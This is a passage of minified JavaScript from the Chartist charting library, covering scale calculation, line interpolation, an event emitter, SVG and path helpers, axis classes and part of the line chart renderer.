0!==t.series[e].data?t.series[e].data.reverse():t.series[e]instanceof Array&&t.series[e].reverse()},e.getDataArray=function(t,i,n){return t.series.map(function t(i){if(e.safeHasProperty(i,"value"))return t(i.value);if(e.safeHasProperty(i,"data"))return t(i.data);if(i instanceof Array)return i.map(t);if(!e.isDataHoleValue(i)){if(n){var a={};return"string"==typeof n?a[n]=e.getNumberOrUndefined(i):a.y=e.getNumberOrUndefined(i),a.x=i.hasOwnProperty("x")?e.getNumberOrUndefined(i.x):a.x,a.y=i.hasOwnProperty("y")?e.getNumberOrUndefined(i.y):a.y,a}return e.getNumberOrUndefined(i)}})},e.normalizePadding=function(t,e){return e=e||0,"number"==typeof t?{top:t,right:t,bottom:t,left:t}:{top:"number"==typeof t.top?t.top:e,right:"number"==typeof t.right?t.right:e,bottom:"number"==typeof t.bottom?t.bottom:e,left:"number"==typeof t.left?t.left:e}},e.getMetaData=function(t,e){var i=t.data?t.data[e]:t[e];return i?i.meta:void 0},e.orderOfMagnitude=function(t){return Math.floor(Math.log(Math.abs(t))/Math.LN10)},e.projectLength=function(t,e,i){return e/i.range*t},e.getAvailableHeight=function(t,i){return Math.max((e.quantity(i.height).value||t.height())-(i.chartPadding.top+i.chartPadding.bottom)-i.axisX.offset,0)},e.getHighLow=function(t,i,n){var a={high:void 0===(i=e.extend({},i,n?i["axis"+n.toUpperCase()]:{})).high?-Number.MAX_VALUE:+i.high,low:void 0===i.low?Number.MAX_VALUE:+i.low},s=void 0===i.high,r=void 0===i.low;return(s||r)&&function t(e){if(void 0!==e)if(e instanceof Array)for(var i=0;i<e.length;i++)t(e[i]);else{var o=n?+e[n]:+e;s&&o>a.high&&(a.high=o),r&&o<a.low&&(a.low=o)}}(t),(i.referenceValue||0===i.referenceValue)&&(a.high=Math.max(i.referenceValue,a.high),a.low=Math.min(i.referenceValue,a.low)),a.high<=a.low&&(0===a.low?a.high=1:a.low<0?a.high=0:(a.high>0||(a.high=1),a.low=0)),a},e.isNumeric=function(t){return null!==t&&isFinite(t)},e.isFalseyButZero=function(t){return!t&&0!==t},e.getNumberOrUndefined=function(t){return e.isNumeric(t)?+t:void 0},e.isMultiValue=function(t){return"object"==typeof t&&("x"in t||"y"in t)},e.getMultiValue=function(t,i){return e.isMultiValue(t)?e.getNumberOrUndefined(t[i||"y"]):e.getNumberOrUndefined(t)},e.rho=function(t){if(1===t)return t;function e(t,i){return t%i==0?i:e(i,t%i)}function i(t){return t*t+1}var n,a=2,s=2;if(t%2==0)return 2;do{a=i(a)%t,s=i(i(s))%t,n=e(Math.abs(a-s),t)}while(1===n);return n},e.getBounds=function(t,i,n,a){var s,r,o,l=0,c={high:i.high,low:i.low};c.valueRange=c.high-c.low,c.oom=e.orderOfMagnitude(c.valueRange),c.step=Math.pow(10,c.oom),c.min=Math.floor(c.low/c.step)*c.step,c.max=Math.ceil(c.high/c.step)*c.step,c.range=c.max-c.min,c.numberOfSteps=Math.round(c.range/c.step);var h=e.projectLength(t,c.step,c)<n,u=a?e.rho(c.range):0;if(a&&e.projectLength(t,1,c)>=n)c.step=1;else if(a&&u<c.step&&e.projectLength(t,u,c)>=n)c.step=u;else for(;;){if(h&&e.projectLength(t,c.step,c)<=n)c.step*=2;else{if(h||!(e.projectLength(t,c.step/2,c)>=n))break;if(c.step/=2,a&&c.step%1!=0){c.step*=2;break}}if(l++>1e3)throw new Error("Exceeded maximum number of iterations while optimizing scale step!")}function d(t,e){return t===(t+=e)&&(t*=1+(e>0?2221e-19:-2221e-19)),t}for(c.step=Math.max(c.step,2221e-19),r=c.min,o=c.max;r+c.step<=c.low;)r=d(r,c.step);for(;o-c.step>=c.high;)o=d(o,-c.step);c.min=r,c.max=o,c.range=c.max-c.min;var p=[];for(s=c.min;s<=c.max;s=d(s,c.step)){var f=e.roundWithPrecision(s);f!==p[p.length-1]&&p.push(f)}return c.values=p,c},e.polarToCartesian=function(t,e,i,n){var a=(n-90)*Math.PI/180;return{x:t+i*Math.cos(a),y:e+i*Math.sin(a)}},e.createChartRect=function(t,i,n){var a=!(!i.axisX&&!i.axisY),s=a?i.axisY.offset:0,r=a?i.axisX.offset:0,o=t.width()||e.quantity(i.width).value||0,l=t.height()||e.quantity(i.height).value||0,c=e.normalizePadding(i.chartPadding,n);o=Math.max(o,s+c.left+c.right),l=Math.max(l,r+c.top+c.bottom);var h={padding:c,width:function(){return this.x2-this.x1},height:function(){return this.y1-this.y2}};return a?("start"===i.axisX.position?(h.y2=c.top+r,h.y1=Math.max(l-c.bottom,h.y2+1)):(h.y2=c.top,h.y1=Math.max(l-c.bottom-r,h.y2+1)),"start"===i.axisY.position?(h.x1=c.left+s,h.x2=Math.max(o-c.right,h.x1+1)):(h.x1=c.left,h.x2=Math.max(o-c.right-s,h.x1+1))):(h.x1=c.left,h.x2=Math.max(o-c.right,h.x1+1),h.y2=c.top,h.y1=Math.max(l-c.bottom,h.y2+1)),h},e.createGrid=function(t,i,n,a,s,r,o,l){var c={};c[n.units.pos+"1"]=t,c[n.units.pos+"2"]=t,c[n.counterUnits.pos+"1"]=a,c[n.counterUnits.pos+"2"]=a+s;var h=r.elem("line",c,o.join(" "));l.emit("draw",e.extend({type:"grid",axis:n,index:i,group:r,element:h},c))},e.createGridBackground=function(t,e,i,n){var a=t.elem("rect",{x:e.x1,y:e.y2,width:e.width(),height:e.height()},i,!0);n.emit("draw",{type:"gridBackground",group:t,element:a})},e.createLabel=function(t,i,a,s,r,o,l,c,h,u,d){var p,f={};if(f[r.units.pos]=t+l[r.units.pos],f[r.counterUnits.pos]=l[r.counterUnits.pos],f[r.units.len]=i,f[r.counterUnits.len]=Math.max(0,o-10),u){var g=n.createElement("span");g.className=h.join(" "),g.setAttribute("xmlns",e.namespaces.xhtml),g.innerText=s[a],g.style[r.units.len]=Math.round(f[r.units.len])+"px",g.style[r.counterUnits.len]=Math.round(f[r.counterUnits.len])+"px",p=c.foreignObject(g,e.extend({style:"overflow: visible;"},f))}else p=c.elem("text",f,h.join(" ")).text(s[a]);d.emit("draw",e.extend({type:"label",axis:r,index:a,group:c,element:p,text:s[a]},f))},e.getSeriesOption=function(t,e,i){if(t.name&&e.series&&e.series[t.name]){var n=e.series[t.name];return n.hasOwnProperty(i)?n[i]:e[i]}return e[i]},e.optionsProvider=function(t,n,a){var s,r,o=e.extend({},t),l=[];function c(t){var l=s;if(s=e.extend({},o),n)for(r=0;r<n.length;r++)i.matchMedia(n[r][0]).matches&&(s=e.extend(s,n[r][1]));a&&t&&a.emit("optionsChanged",{previousOptions:l,currentOptions:s})}if(!i.matchMedia)throw"window.matchMedia not found! Make sure you're using a polyfill.";if(n)for(r=0;r<n.length;r++){var h=i.matchMedia(n[r][0]);h.addListener(c),l.push(h)}return c(),{removeMediaQueryListeners:function(){l.forEach(function(t){t.removeListener(c)})},getCurrentOptions:function(){return e.extend({},s)}}},e.splitIntoSegments=function(t,i,n){n=e.extend({},{increasingX:!1,fillHoles:!1},n);for(var a=[],s=!0,r=0;r<t.length;r+=2)void 0===e.getMultiValue(i[r/2].value)?n.fillHoles||(s=!0):(n.increasingX&&r>=2&&t[r]<=t[r-2]&&(s=!0),s&&(a.push({pathCoordinates:[],valueData:[]}),s=!1),a[a.length-1].pathCoordinates.push(t[r],t[r+1]),a[a.length-1].valueData.push(i[r/2]));return a}}(this||global,t),function(t,e){"use strict";e.Interpolation={},e.Interpolation.none=function(t){return t=e.extend({},{fillHoles:!1},t),function(i,n){for(var a=new e.Svg.Path,s=!0,r=0;r<i.length;r+=2){var o=i[r],l=i[r+1],c=n[r/2];void 0!==e.getMultiValue(c.value)?(s?a.move(o,l,!1,c):a.line(o,l,!1,c),s=!1):t.fillHoles||(s=!0)}return a}},e.Interpolation.simple=function(t){t=e.extend({},{divisor:2,fillHoles:!1},t);var i=1/Math.max(1,t.divisor);return function(n,a){for(var s,r,o,l=new e.Svg.Path,c=0;c<n.length;c+=2){var h=n[c],u=n[c+1],d=(h-s)*i,p=a[c/2];void 0!==p.value?(void 0===o?l.move(h,u,!1,p):l.curve(s+d,r,h-d,u,h,u,!1,p),s=h,r=u,o=p):t.fillHoles||(s=h=o=void 0)}return l}},e.Interpolation.cardinal=function(t){t=e.extend({},{tension:1,fillHoles:!1},t);var i=Math.min(1,Math.max(0,t.tension)),n=1-i;return function a(s,r){var o=e.splitIntoSegments(s,r,{fillHoles:t.fillHoles});if(o.length){if(o.length>1){var l=[];return o.forEach(function(t){l.push(a(t.pathCoordinates,t.valueData))}),e.Svg.Path.join(l)}if(r=o[0].valueData,(s=o[0].pathCoordinates).length<=4)return e.Interpolation.none()(s,r);for(var c=(new e.Svg.Path).move(s[0],s[1],!1,r[0]),h=0,u=s.length;u-2>h;h+=2){var d=[{x:+s[h-2],y:+s[h-1]},{x:+s[h],y:+s[h+1]},{x:+s[h+2],y:+s[h+3]},{x:+s[h+4],y:+s[h+5]}];u-4===h?d[3]=d[2]:h||(d[0]={x:+s[h],y:+s[h+1]}),c.curve(i*(6*d[1].x-d[0].x+d[2].x)/6+n*d[2].x,i*(6*d[1].y-d[0].y+d[2].y)/6+n*d[2].y,i*(d[1].x+6*d[2].x-d[3].x)/6+n*d[2].x,i*(d[1].y+6*d[2].y-d[3].y)/6+n*d[2].y,d[2].x,d[2].y,!1,r[(h+2)/2])}return c}return e.Interpolation.none()([])}},e.Interpolation.monotoneCubic=function(t){return t=e.extend({},{fillHoles:!1},t),function i(n,a){var s=e.splitIntoSegments(n,a,{fillHoles:t.fillHoles,increasingX:!0});if(s.length){if(s.length>1){var r=[];return s.forEach(function(t){r.push(i(t.pathCoordinates,t.valueData))}),e.Svg.Path.join(r)}if(a=s[0].valueData,(n=s[0].pathCoordinates).length<=4)return e.Interpolation.none()(n,a);var o,l,c=[],h=[],u=n.length/2,d=[],p=[],f=[],g=[];for(o=0;o<u;o++)c[o]=n[2*o],h[o]=n[2*o+1];for(o=0;o<u-1;o++)f[o]=h[o+1]-h[o],g[o]=c[o+1]-c[o],p[o]=f[o]/g[o];for(d[0]=p[0],d[u-1]=p[u-2],o=1;o<u-1;o++)0===p[o]||0===p[o-1]||p[o-1]>0!=p[o]>0?d[o]=0:(d[o]=3*(g[o-1]+g[o])/((2*g[o]+g[o-1])/p[o-1]+(g[o]+2*g[o-1])/p[o]),isFinite(d[o])||(d[o]=0));for(l=(new e.Svg.Path).move(c[0],h[0],!1,a[0]),o=0;o<u-1;o++)l.curve(c[o]+g[o]/3,h[o]+d[o]*g[o]/3,c[o+1]-g[o]/3,h[o+1]-d[o+1]*g[o]/3,c[o+1],h[o+1],!1,a[o+1]);return l}return e.Interpolation.none()([])}},e.Interpolation.step=function(t){return t=e.extend({},{postpone:!0,fillHoles:!1},t),function(i,n){for(var a,s,r,o=new e.Svg.Path,l=0;l<i.length;l+=2){var c=i[l],h=i[l+1],u=n[l/2];void 0!==u.value?(void 0===r?o.move(c,h,!1,u):(t.postpone?o.line(c,s,!1,r):o.line(a,h,!1,u),o.line(c,h,!1,u)),a=c,s=h,r=u):t.fillHoles||(a=s=r=void 0)}return o}}}(this||global,t),function(t,e){"use strict";e.EventEmitter=function(){var t=[];return{addEventHandler:function(e,i){t[e]=t[e]||[],t[e].push(i)},removeEventHandler:function(e,i){t[e]&&(i?(t[e].splice(t[e].indexOf(i),1),0===t[e].length&&delete t[e]):delete t[e])},emit:function(e,i){t[e]&&t[e].forEach(function(t){t(i)}),t["*"]&&t["*"].forEach(function(t){t(e,i)})}}}}(this||global,t),function(t,e){"use strict";function i(t){var e=[];if(t.length)for(var i=0;i<t.length;i++)e.push(t[i]);return e}e.Class={extend:function(t,i){var n=i||this.prototype||e.Class,a=Object.create(n);e.Class.cloneDefinitions(a,t);var s=function(){var t,i=a.constructor||function(){};return t=this===e?Object.create(a):this,i.apply(t,Array.prototype.slice.call(arguments,0)),t};return s.prototype=a,s.super=n,s.extend=this.extend,s},cloneDefinitions:function(){var t=i(arguments),e=t[0];return t.splice(1,t.length-1).forEach(function(t){Object.getOwnPropertyNames(t).forEach(function(i){delete e[i],Object.defineProperty(e,i,Object.getOwnPropertyDescriptor(t,i))})}),e}}}(this||global,t),function(t,e){"use strict";var i=t.window;function n(){i.addEventListener("resize",this.resizeListener),this.optionsProvider=e.optionsProvider(this.options,this.responsiveOptions,this.eventEmitter),this.eventEmitter.addEventHandler("optionsChanged",(function(){this.update()}).bind(this)),this.options.plugins&&this.options.plugins.forEach((function(t){t instanceof Array?t[0](this,t[1]):t(this)}).bind(this)),this.eventEmitter.emit("data",{type:"initial",data:this.data}),this.createChart(this.optionsProvider.getCurrentOptions()),this.initializeTimeoutId=void 0}e.Base=e.Class.extend({constructor:function(t,i,a,s,r){this.container=e.querySelector(t),this.data=i||{},this.data.labels=this.data.labels||[],this.data.series=this.data.series||[],this.defaultOptions=a,this.options=s,this.responsiveOptions=r,this.eventEmitter=e.EventEmitter(),this.supportsForeignObject=e.Svg.isSupported("Extensibility"),this.supportsAnimations=e.Svg.isSupported("AnimationEventsAttribute"),this.resizeListener=(function(){this.update()}).bind(this),this.container&&(this.container.__chartist__&&this.container.__chartist__.detach(),this.container.__chartist__=this),this.initializeTimeoutId=setTimeout(n.bind(this),0)},optionsProvider:void 0,container:void 0,svg:void 0,eventEmitter:void 0,createChart:function(){throw new Error("Base chart type can't be instantiated!")},update:function(t,i,n){return t&&(this.data=t||{},this.data.labels=this.data.labels||[],this.data.series=this.data.series||[],this.eventEmitter.emit("data",{type:"update",data:this.data})),i&&(this.options=e.extend({},n?this.options:this.defaultOptions,i),this.initializeTimeoutId||(this.optionsProvider.removeMediaQueryListeners(),this.optionsProvider=e.optionsProvider(this.options,this.responsiveOptions,this.eventEmitter))),this.initializeTimeoutId||this.createChart(this.optionsProvider.getCurrentOptions()),this},detach:function(){return this.initializeTimeoutId?i.clearTimeout(this.initializeTimeoutId):(i.removeEventListener("resize",this.resizeListener),this.optionsProvider.removeMediaQueryListeners()),this},on:function(t,e){return this.eventEmitter.addEventHandler(t,e),this},off:function(t,e){return this.eventEmitter.removeEventHandler(t,e),this},version:e.version,supportsForeignObject:!1})}(this||global,t),function(t,e){"use strict";var i=t.document;e.Svg=e.Class.extend({constructor:function(t,n,a,s,r){t instanceof Element?this._node=t:(this._node=i.createElementNS(e.namespaces.svg,t),"svg"===t&&this.attr({"xmlns:ct":e.namespaces.ct})),n&&this.attr(n),a&&this.addClass(a),s&&(r&&s._node.firstChild?s._node.insertBefore(this._node,s._node.firstChild):s._node.appendChild(this._node))},attr:function(t,i){return"string"==typeof t?i?this._node.getAttributeNS(i,t):this._node.getAttribute(t):(Object.keys(t).forEach((function(i){if(void 0!==t[i])if(-1!==i.indexOf(":")){var n=i.split(":");this._node.setAttributeNS(e.namespaces[n[0]],i,t[i])}else this._node.setAttribute(i,t[i])}).bind(this)),this)},elem:function(t,i,n,a){return new e.Svg(t,i,n,this,a)},parent:function(){return this._node.parentNode instanceof SVGElement?new e.Svg(this._node.parentNode):null},root:function(){for(var t=this._node;"svg"!==t.nodeName;)t=t.parentNode;return new e.Svg(t)},querySelector:function(t){var i=this._node.querySelector(t);return i?new e.Svg(i):null},querySelectorAll:function(t){var i=this._node.querySelectorAll(t);return i.length?new e.Svg.List(i):null},getNode:function(){return this._node},foreignObject:function(t,n,a,s){if("string"==typeof t){var r=i.createElement("div");r.innerHTML=t,t=r.firstChild}t.setAttribute("xmlns",e.namespaces.xmlns);var o=this.elem("foreignObject",n,a,s);return o._node.appendChild(t),o},text:function(t){return this._node.appendChild(i.createTextNode(t)),this},empty:function(){for(;this._node.firstChild;)this._node.removeChild(this._node.firstChild);return this},remove:function(){return this._node.parentNode.removeChild(this._node),this.parent()},replace:function(t){return this._node.parentNode.replaceChild(t._node,this._node),t},append:function(t,e){return e&&this._node.firstChild?this._node.insertBefore(t._node,this._node.firstChild):this._node.appendChild(t._node),this},classes:function(){return this._node.getAttribute("class")?this._node.getAttribute("class").trim().split(/\s+/):[]},addClass:function(t){return this._node.setAttribute("class",this.classes(this._node).concat(t.trim().split(/\s+/)).filter(function(t,e,i){return i.indexOf(t)===e}).join(" ")),this},removeClass:function(t){var e=t.trim().split(/\s+/);return this._node.setAttribute("class",this.classes(this._node).filter(function(t){return-1===e.indexOf(t)}).join(" ")),this},removeAllClasses:function(){return this._node.setAttribute("class",""),this},height:function(){return this._node.getBoundingClientRect().height},width:function(){return this._node.getBoundingClientRect().width},animate:function(t,i,n){return void 0===i&&(i=!0),Object.keys(t).forEach((function(a){function s(t,i){var s,r,o,l={};t.easing&&(o=t.easing instanceof Array?t.easing:e.Svg.Easing[t.easing],delete t.easing),t.begin=e.ensureUnit(t.begin,"ms"),t.dur=e.ensureUnit(t.dur,"ms"),o&&(t.calcMode="spline",t.keySplines=o.join(" "),t.keyTimes="0;1"),i&&(t.fill="freeze",l[a]=t.from,this.attr(l),r=e.quantity(t.begin||0).value,t.begin="indefinite"),s=this.elem("animate",e.extend({attributeName:a},t)),i&&setTimeout((function(){try{s._node.beginElement()}catch(e){l[a]=t.to,this.attr(l),s.remove()}}).bind(this),r),n&&s._node.addEventListener("beginEvent",(function(){n.emit("animationBegin",{element:this,animate:s._node,params:t})}).bind(this)),s._node.addEventListener("endEvent",(function(){n&&n.emit("animationEnd",{element:this,animate:s._node,params:t}),i&&(l[a]=t.to,this.attr(l),s.remove())}).bind(this))}t[a]instanceof Array?t[a].forEach((function(t){s.bind(this)(t,!1)}).bind(this)):s.bind(this)(t[a],i)}).bind(this)),this}}),e.Svg.isSupported=function(t){return i.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#"+t,"1.1")},e.Svg.Easing={easeInSine:[.47,0,.745,.715],easeOutSine:[.39,.575,.565,1],easeInOutSine:[.445,.05,.55,.95],easeInQuad:[.55,.085,.68,.53],easeOutQuad:[.25,.46,.45,.94],easeInOutQuad:[.455,.03,.515,.955],easeInCubic:[.55,.055,.675,.19],easeOutCubic:[.215,.61,.355,1],easeInOutCubic:[.645,.045,.355,1],easeInQuart:[.895,.03,.685,.22],easeOutQuart:[.165,.84,.44,1],easeInOutQuart:[.77,0,.175,1],easeInQuint:[.755,.05,.855,.06],easeOutQuint:[.23,1,.32,1],easeInOutQuint:[.86,0,.07,1],easeInExpo:[.95,.05,.795,.035],easeOutExpo:[.19,1,.22,1],easeInOutExpo:[1,0,0,1],easeInCirc:[.6,.04,.98,.335],easeOutCirc:[.075,.82,.165,1],easeInOutCirc:[.785,.135,.15,.86],easeInBack:[.6,-.28,.735,.045],easeOutBack:[.175,.885,.32,1.275],easeInOutBack:[.68,-.55,.265,1.55]},e.Svg.List=e.Class.extend({constructor:function(t){var i=this;this.svgElements=[];for(var n=0;n<t.length;n++)this.svgElements.push(new e.Svg(t[n]));Object.keys(e.Svg.prototype).filter(function(t){return-1===["constructor","parent","querySelector","querySelectorAll","replace","append","classes","height","width"].indexOf(t)}).forEach(function(t){i[t]=function(){var n=Array.prototype.slice.call(arguments,0);return i.svgElements.forEach(function(i){e.Svg.prototype[t].apply(i,n)}),i}})}})}(this||global,t),function(t,e){"use strict";var i={m:["x","y"],l:["x","y"],c:["x1","y1","x2","y2","x","y"],a:["rx","ry","xAr","lAf","sf","x","y"]},n={accuracy:3};function a(t,i,n,a,s,r){var o=e.extend({command:s?t.toLowerCase():t.toUpperCase()},i,r?{data:r}:{});n.splice(a,0,o)}function s(t,e){t.forEach(function(n,a){i[n.command.toLowerCase()].forEach(function(i,s){e(n,i,a,s,t)})})}e.Svg.Path=e.Class.extend({constructor:function(t,i){this.pathElements=[],this.pos=0,this.close=t,this.options=e.extend({},n,i)},position:function(t){return void 0!==t?(this.pos=Math.max(0,Math.min(this.pathElements.length,t)),this):this.pos},remove:function(t){return this.pathElements.splice(this.pos,t),this},move:function(t,e,i,n){return a("M",{x:+t,y:+e},this.pathElements,this.pos++,i,n),this},line:function(t,e,i,n){return a("L",{x:+t,y:+e},this.pathElements,this.pos++,i,n),this},curve:function(t,e,i,n,s,r,o,l){return a("C",{x1:+t,y1:+e,x2:+i,y2:+n,x:+s,y:+r},this.pathElements,this.pos++,o,l),this},arc:function(t,e,i,n,s,r,o,l,c){return a("A",{rx:+t,ry:+e,xAr:+i,lAf:+n,sf:+s,x:+r,y:+o},this.pathElements,this.pos++,l,c),this},scale:function(t,e){return s(this.pathElements,function(i,n){i[n]*="x"===n[0]?t:e}),this},translate:function(t,e){return s(this.pathElements,function(i,n){i[n]+="x"===n[0]?t:e}),this},transform:function(t){return s(this.pathElements,function(e,i,n,a,s){var r=t(e,i,n,a,s);(r||0===r)&&(e[i]=r)}),this},parse:function(t){var n=t.replace(/([A-Za-z])([0-9])/g,"$1 $2").replace(/([0-9])([A-Za-z])/g,"$1 $2").split(/[\s,]+/).reduce(function(t,e){return e.match(/[A-Za-z]/)&&t.push([]),t[t.length-1].push(e),t},[]);"Z"===n[n.length-1][0].toUpperCase()&&n.pop();var a=n.map(function(t){var n=t.shift(),a=i[n.toLowerCase()];return e.extend({command:n},a.reduce(function(e,i,n){return e[i]=+t[n],e},{}))}),s=[this.pos,0];return Array.prototype.push.apply(s,a),Array.prototype.splice.apply(this.pathElements,s),this.pos+=a.length,this},stringify:function(){var t=Math.pow(10,this.options.accuracy);return this.pathElements.reduce((function(e,n){var a=i[n.command.toLowerCase()].map((function(e){return this.options.accuracy?Math.round(n[e]*t)/t:n[e]}).bind(this));return e+n.command+a.join(",")}).bind(this),"")+(this.close?"Z":"")},clone:function(t){var i=new e.Svg.Path(t||this.close);return i.pos=this.pos,i.pathElements=this.pathElements.slice().map(function(t){return e.extend({},t)}),i.options=e.extend({},this.options),i},splitByCommand:function(t){var i=[new e.Svg.Path];return this.pathElements.forEach(function(n){n.command===t.toUpperCase()&&0!==i[i.length-1].pathElements.length&&i.push(new e.Svg.Path),i[i.length-1].pathElements.push(n)}),i}}),e.Svg.Path.elementDescriptions=i,e.Svg.Path.join=function(t,i,n){for(var a=new e.Svg.Path(i,n),s=0;s<t.length;s++)for(var r=t[s],o=0;o<r.pathElements.length;o++)a.pathElements.push(r.pathElements[o]);return a}}(this||global,t),function(t,e){"use strict";var i={x:{pos:"x",len:"width",dir:"horizontal",rectStart:"x1",rectEnd:"x2",rectOffset:"y2"},y:{pos:"y",len:"height",dir:"vertical",rectStart:"y2",rectEnd:"y1",rectOffset:"x1"}};e.Axis=e.Class.extend({constructor:function(t,e,n,a){this.units=t,this.counterUnits=t===i.x?i.y:i.x,this.chartRect=e,this.axisLength=e[t.rectEnd]-e[t.rectStart],this.gridOffset=e[t.rectOffset],this.ticks=n,this.options=a},createGridAndLabels:function(t,i,n,a,s){var r=a["axis"+this.units.pos.toUpperCase()],o=this.ticks.map(this.projectValue.bind(this)),l=this.ticks.map(r.labelInterpolationFnc);o.forEach((function(c,h){var u,d={x:0,y:0};u=o[h+1]?o[h+1]-c:Math.max(this.axisLength-c,30),e.isFalseyButZero(l[h])&&""!==l[h]||("x"===this.units.pos?(c=this.chartRect.x1+c,d.x=a.axisX.labelOffset.x,d.y="start"===a.axisX.position?this.chartRect.padding.top+a.axisX.labelOffset.y+(n?5:20):this.chartRect.y1+a.axisX.labelOffset.y+(n?5:20)):(c=this.chartRect.y1-c,d.y=a.axisY.labelOffset.y-(n?u:0),d.x="start"===a.axisY.position?n?this.chartRect.padding.left+a.axisY.labelOffset.x:this.chartRect.x1-10:this.chartRect.x2+a.axisY.labelOffset.x+10),r.showGrid&&e.createGrid(c,h,this,this.gridOffset,this.chartRect[this.counterUnits.len](),t,[a.classNames.grid,a.classNames[this.units.dir]],s),r.showLabel&&e.createLabel(c,u,h,l,this,r.offset,d,i,[a.classNames.label,a.classNames[this.units.dir],"start"===r.position?a.classNames[r.position]:a.classNames.end],n,s))}).bind(this))},projectValue:function(t,e,i){throw new Error("Base axis can't be instantiated!")}}),e.Axis.units=i}(this||global,t),function(t,e){"use strict";e.AutoScaleAxis=e.Axis.extend({constructor:function(t,i,n,a){var s=a.highLow||e.getHighLow(i,a,t.pos);this.bounds=e.getBounds(n[t.rectEnd]-n[t.rectStart],s,a.scaleMinSpace||20,a.onlyInteger),this.range={min:this.bounds.min,max:this.bounds.max},e.AutoScaleAxis.super.constructor.call(this,t,n,this.bounds.values,a)},projectValue:function(t){return this.axisLength*(+e.getMultiValue(t,this.units.pos)-this.bounds.min)/this.bounds.range}})}(this||global,t),function(t,e){"use strict";e.FixedScaleAxis=e.Axis.extend({constructor:function(t,i,n,a){var s=a.highLow||e.getHighLow(i,a,t.pos);this.divisor=a.divisor||1,this.ticks=a.ticks||e.times(this.divisor).map((function(t,e){return s.low+(s.high-s.low)/this.divisor*e}).bind(this)),this.ticks.sort(function(t,e){return t-e}),this.range={min:s.low,max:s.high},e.FixedScaleAxis.super.constructor.call(this,t,n,this.ticks,a),this.stepLength=this.axisLength/this.divisor},projectValue:function(t){return this.axisLength*(+e.getMultiValue(t,this.units.pos)-this.range.min)/(this.range.max-this.range.min)}})}(this||global,t),function(t,e){"use strict";e.StepAxis=e.Axis.extend({constructor:function(t,i,n,a){e.StepAxis.super.constructor.call(this,t,n,a.ticks,a);var s=Math.max(1,a.ticks.length-(a.stretch?1:0));this.stepLength=this.axisLength/s},projectValue:function(t,e){return this.stepLength*e}})}(this||global,t),function(t,e){"use strict";var i={axisX:{offset:30,position:"end",labelOffset:{x:0,y:0},showLabel:!0,showGrid:!0,labelInterpolationFnc:e.noop,type:void 0},axisY:{offset:40,position:"start",labelOffset:{x:0,y:0},showLabel:!0,showGrid:!0,labelInterpolationFnc:e.noop,type:void 0,scaleMinSpace:20,onlyInteger:!1},width:void 0,height:void 0,showLine:!0,showPoint:!0,showArea:!1,areaBase:0,lineSmooth:!0,showGridBackground:!1,low:void 0,high:void 0,chartPadding:{top:15,right:15,bottom:5,left:10},fullWidth:!1,reverseData:!1,classNames:{chart:"ct-chart-line",label:"ct-label",labelGroup:"ct-labels",series:"ct-series",line:"ct-line",point:"ct-point",area:"ct-area",grid:"ct-grid",gridGroup:"ct-grids",gridBackground:"ct-grid-background",vertical:"ct-vertical",horizontal:"ct-horizontal",start:"ct-start",end:"ct-end"}};e.Line=e.Base.extend({constructor:function(t,n,a,s){e.Line.super.constructor.call(this,t,n,i,e.extend({},i,a),s)},createChart:function(t){var n=e.normalizeData(this.data,t.reverseData,!0);this.svg=e.createSvg(this.container,t.width,t.height,t.classNames.chart);var a,s,r=this.svg.elem("g").addClass(t.classNames.gridGroup),o=this.svg.elem("g"),l=this.svg.elem("g").addClass(t.classNames.labelGroup),c=e.createChartRect(this.svg,t,i.padding);a=void 0===t.axisX.type?new e.StepAxis(e.Axis.units.x,n.normalized.series,c,e.extend({},t.axisX,{ticks:n.normalized.labels,stretch:t.fullWidth})):t.axisX.type.call(e,e.Axis.units.x,n.normalized.series,c,t.axisX),s=void 0===t.axisY.type?new e.AutoScaleAxis(e.Axis.units.y,n.normalized.series,c,e.extend({},t.axisY,{high:e.isNumeric(t.high)?t.high:t.axisY.high,low:e.isNumeric(t.low)?t.low:t.axisY.low})):t.axisY.type.call(e,e.Axis.units.y,n.normalized.series,c,t.axisY),a.createGridAndLabels(r,l,this.supportsForeignObject,t,this.eventEmitter),s.createGridAndLabels(r,l,this.supportsForeignObject,t,this.eventEmitter),t.showGridBackground&&e.createGridBackground(r,c,t.classNames.gridBackground,this.eventEmitter),n.raw.series.forEach((function(i,r){var l=o.elem("g");l.attr({"ct:series-name":i.name,"ct:meta":e.serialize(i.meta)}),l.addClass([t.classNames.series,i.className||t.classNames.series+"-"+e.alphaNumerate(r)].join(" "));var h=[],u=[];n.normalized.series[r].forEach((function(t,o){var l={x:c.x1+a.projectValue(t,o,n.normalized.series[r]),y:c.y1-s.projectValue(t,o,n.normalized.series[r])};h.push(l.x,l.y),u.push({value:t,valueIndex:o,meta:e.getMetaData(i,o)})}).bind(this));var d={lineSmooth:e.getSeriesOption(i,t,"lineSmooth"),showPoint:e.getSeriesOption(i,t,"showPoint"),showLine:e.getSeriesOption(i,t,"showLine"),showArea:e.getSeriesOption(i,t,"showArea"),areaBase:e.getSeriesOption(i,t,"areaBase")},p=("function"==typeof d.lineSmooth?d.lineSmooth:d.lineSmooth?e.Interpolation.monotoneCubic():e.Interpolation.none())(h,u);if(d.showPoint&&p.pathElements.forEach((function(n){var o=l.elem("line",{x1:n.x,y1:n.y,x2:n.x+.01,y2:n.y},t.classNames.point).attr({"ct:value":[n.data.value.x,n.data.value.y].filter(e.isNumeric).join(","),"ct:meta":e.serialize(n.data.meta)});this.eventEmitter.emit("draw",{type:"point",value:n.data.value,index:n.data.valueIndex,meta:n.data.meta,series:i,seriesIndex:r,axisX:a,axisY:s,group:l,element:o,x:n.x,y:n.y})}).bind(this)),d.showLine){var f=l.elem("path",{d:p.stringify()},t.classNames.line,!0);this.eventEmitter.emit("draw",{type:"line",values:n.normalized.series[r],path:p.clone(),chartRect:c,index:r,series:i,seriesIndex:r,seriesMeta:i.meta,axisX:a,axisY:s,group:l,element:f})}if(d.showArea&&s.range){var g=Math.max(Math.min(d.areaBase,s.range.max),s.range.min),m=c.y1-s.projectValue(g);p.splitByCommand("M").filter(function(t){return t.pathElements.length>1}).map(function(t){var e=t.pathElements[0],i=t.pathElements[t.pathElements.length-1];return t.clone(!0).position(0).remove(1).move(e.x,m).line(e.x,e.y).position(t.pathElements.length+1).line(i.x,m)}).forEach((function(e){var 